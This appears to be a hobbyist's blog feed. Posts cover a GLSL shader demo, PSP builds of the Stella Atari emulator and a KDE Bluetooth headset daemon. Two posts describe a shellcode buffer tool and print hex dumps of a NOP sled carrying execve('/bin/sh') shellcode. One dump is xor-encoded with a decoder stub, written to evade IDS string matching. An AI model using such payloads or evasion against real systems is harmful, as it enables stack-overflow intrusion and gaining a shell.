Updated my shellcode generation tool. Added shellcode encryption, to hide from IDS which scan for well known strings in the shellcode, like ‘/bin/sh’. The encryption is quite simple, just add,sub,xor or move by an fixed offset. The tool added also a hook to decode the shellcode before it gets called.

Changelog:

  • Use getopt for command line parsing
  • Fixed off by one bug in hex dump output
  • Added simple shellcode encryption

./mkbuffer -m gen -l 256 -c xor -o 2 -f CODE -e CODE
------------------------------------------------------
Start: 0x0x80499a0
End:   0x0x80499c9
Len:   0x0029 (41 bytes)
jump:  0x00000000
------------------------------------------------------
Crypt Shellcode 'xor' offset='2'
------------------------------------------------------
0x0000:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:eb 11 5e 31 c9 b1 36 80 74 0e ff 02 80 e9 01 75
0x0075:f6 eb 05 e8 ea ff ff ff 33 c2 b2 44 33 d9 33 cb
0x00cb:cf 82 e9 12 59 33 c2 8a 41 05 52 51 8b e3 b2 09
0x0009:33 d0 cf 82 ea e9 fd fd fd 2d 60 6b 6c 2d 71 6a
0x006a:5a 92 92 92 57 8b e7 55 54 33 f4 51 ea 8c 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0090:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
------------------------------------------------------
Writing Shellcode to 'CODE'
------------------------------------------------------
Starting Subshell
setup env $CODE
------------------------------------------------------


Download

Found some time to play with GLSL Extension. I started with a simple Cube Demo from NeHe using SDL for the user interface programming. Then i added GLEW as the GLSL extension wrapper. The Shader Programs are taken from Linux Magazin Article. Currently no own ideas 🙂 First i had to refresh my OpenGL basics. So i added some switches to trigger Alpha Blending and different textures.

When running the demo you press following keys to trigger different effects:

  • ‘l’ to toggle Light
  • ‘b’ to enable Alpha Blend
  • ‘f’ to step through NEAREST, LINEAR and MIPMAP textures
  • ‘s’ toggle current Shader Programm
  • ‘n’ switch to different Shader Programms

Use the mouse and the left button to rotate the cube. The right button and mouse motion to zoom into the scene. The code was tested with a Nvida GT6800 card. You’ll need nvidia GL library, Glew and SDLlib to build it from sources.

Toonshading

glsl

Deformation

glsl

Mipmapped Texture

glsl

Source

Updated PSP build to reflect lastest changes of the of the Stella project. Currently the PSP build only works when not disabling the Debugger Console during compile time. So this time configure option –disable-developer will leed to a broken build, even when the debugger is not useable on the PSP. This build is done with revison 1426 of pspsdk and libsdl.

Building

To build for the PSP, make sure psp-config is in the path and run:


   ./configure --host=psp 
   make
   make psp-layout
   make psp-upload

Dependencies

Download

Source

Inspired by an article in german Hakin9 Magazin from October 2005, i wrote a little programm to test and generate shellcode.A good place to learn about buffer overflows is here. I found a interesting python framwork called inlinegg for shellcode generating. This make shellcode developing really easy and effective.

My simple tool is used to prepare buffers with shellcode.The actual asm code is done with nasm and linked a against a gcc main programm. The programm has three modes: dump, exec and gen.

Dump does a hexdump of the plain shellcode, usefull when tracing null bytes.

For testing the functionality of the shellcode you can use exec which simple calls the shellcode like function.

Gen is used to build a buffer with the actual shellcode. The code is hexdumped to stdout, raw code it written to stderr and also the enviroment var $CODE is set. Also the target buffer size and stack jump address as to be passed to the program. The buffer ist first filled with the jump address and then the first half with NOPs overwritten. The shellcode gets copied to the middle of the buffer.


./mkbuffer gen 256  0x1234567
Start: 0x0x8048bb0
End:   0x0x8048bd9
Len:   0x29 (41 bytes)
jump:  0x1234567
90
0x0000:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0010:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0020:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0030:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0040:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0050:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0060:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0x0070:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 31
0x0080:c0 b0 46 31 db 31 c9 cd 80 eb 10 5b 31 c0 88 43
0x0090:07 50 53 89 e1 b0 0b 31 d2 cd 80 e8 eb ff ff ff
0x00a0:2f 62 69 6e 2f 73 68 58 45 23 01 67 45 23 01 67
0x00b0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00c0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00d0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00e0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01 67
0x00f0:45 23 01 67 45 23 01 67 45 23 01 67 45 23 01
setup env $CODE



Download

A new Kbtsco release is available. Did some small tweaks.

  • Added Channel Forcing via Configure Menu. Some people reported having problems with the channel auto dedection, so that it’s now possible to asign the channel manually.
  • Added Cancel Menu item to interrupt the connect process, in case somebody hits the Connect button when no headset is available.
  • Switched Build System from Autotools to bksys.

Download

Finished a new release of the the Atari 2600 Emulator Stella for the PSP. Did some bug fixing and fixed the build system to work with latest pspsdk. It’s seems that the Stella 2.0 version is nearly finished and it will be released on the official site in the near future.

Change Log

  • Fixed build system work with latest pspsdk ans psptoolchain
  • New key mapping
  • Control menu to access advanced features during the emulation
  • Support for overclocking via the configfile

Stella Stella Stella Stella

Laucher Menu

Game Menu

Control Menu

Emulation

Download

Source

Ported the Atari 2600 Emulator Stella to the Portable Playstation. The Port is in offical project CVS at Sourceforge. Currently the version is beta and there is no offical psp build. You can download my build, but use it on your own risk.

Building

To build for the PSP, make sure psp-config is in the path and run:


   ./configure --host=psp --disable-developer
   make
   make psp-upload
   make psp-layout

Dependencies

  • psp-toolchain
  • pspsdk
  • libsdl
  • libpng

Status

  • Video: Support for scaled software mode and framebuffer hardware mode
  • Audio:Working
  • Input: Mouse emulation via Joystick
  • Snapshot: Working
  • Lauchner: Working
  • Menu : Working
  • Debugger: Not useable

KeymapMenu

  • Cross:Left Mouse Button

KeymapEmulation

  • Cross: Fire
  • Circle: Load State
  • Square: Save State
  • Triangle: Snapshot
  • Select: Console Select
  • Start: Console Reset
  • Left Trigger: Games Menu
  • Right Trigger: Command Menu

Known Bugs

  • SDL video driver is in early stage, so expect flickering and update problems
  • Stella will only compile/run with lastest sdl, pspskd and toolchain.
  • Stella will crash if SDL is compiled with –disable-stdio-redirect.
  • Also you need a custom libSDLmain which has a debugHandler for stdout.

Stella Stella

Picture 1

Picture 2

Download

Source

The Alsa-Bluetooth project project provides a way to use a bluetooth headset with Linux.They do this currently by making an alsa kernel driver which uses bluez to reach the headset.

I Wrote a KDE based user space daemon wich works as drop in replacement for the btsco daemon from the Alsa-Bluetooth package. The Programm is in early beta stage. Just start it from the Console and you will have a small kicker applet in your Systray. KBtsco has a function to discover the BAddr of your Headset. Once you did the pairing via e.g. KBluetoothd package, you can click the headset icon in the Systray to connect to the headset. All actions get visualized via On-Screen-Display in the right corner of your monitor. After connecting you can push your connect button on the headset wich actually opens the sco socket. I used this tool on daily basis with Skype. Sometimes sndbtsco seems to crash and eats all CPU time,it’s still beta i think.

Snes Snes

Picture 1

Picture 2

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